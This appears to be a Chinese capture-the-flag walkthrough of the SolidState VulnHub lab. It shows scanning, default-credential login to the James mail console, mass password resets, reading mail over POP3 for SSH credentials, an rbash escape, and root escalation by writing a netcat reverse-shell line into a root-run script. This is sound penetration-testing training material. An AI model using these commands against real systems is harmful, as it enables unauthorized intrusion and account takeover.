OSCP难度靶机之SolidState

虚拟机信息：

虚拟机下载地址：https://www.vulnhub.com/entry/solidstate-1,261/

虚拟机简介：获取远程系统root权限

目标：1个用户flag和1个root权限flag

级别：中级

1、主机探测

netdiscover -r 192.168.207.0/24

2、服务探测

nmap -A -sS -sV -v -p- 192.168.207.138

查看开放端口为22、25、80、110、119、445

3、渗透测试

3.1 http扫描测试

nikto -host http://192.168.207.138

未发现有用信息

gobuster dir -u http://192.168.207.138 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -s "404,301,302,307,403,500"

未发现有用信息

3.2 James控制台测试

使用默认账号密码为：root/root登录成功，查看当前用户

listusers

发现存在5个用户

在帮助文档中有重置用户密码方法

setpassword james 123456
setpassword thomas 123456
setpassword john 123456
setpassword mindy 123456
setpassword mailadmin 123456

telnet 192.168.207.138 110
USER mindy
PASS 123456
LIST
TOP 2 836

在mindy账号中发现SSH登录账号和密码，用户名为：mindy，密码为：P@55W0rd1!2@

3.3 登录SSH控制台

ssh [email protected]

发现无法执行命令

查看指定的shell为rbash

ssh [email protected] "export TERM=xterm; python -c 'import pty; pty.spawn("/bin/sh")'"

cat user.txt

3.4 提权操作

cat /etc/passwd | grep bash

ps -aux | grep james

查看james用户启动的权限为root

cat /opt/tmp.py
ls -lah /opt/tmp.py

echo "import os nos.system('nc 192.168.207.129 4444 -e /bin/sh')" > /opt/tmp.py

python -c 'import pty; pty.spawn("/bin/sh")'
cat root.txt

原文始发于微信公众号（安全孺子牛）：OSCP难度靶机之SolidState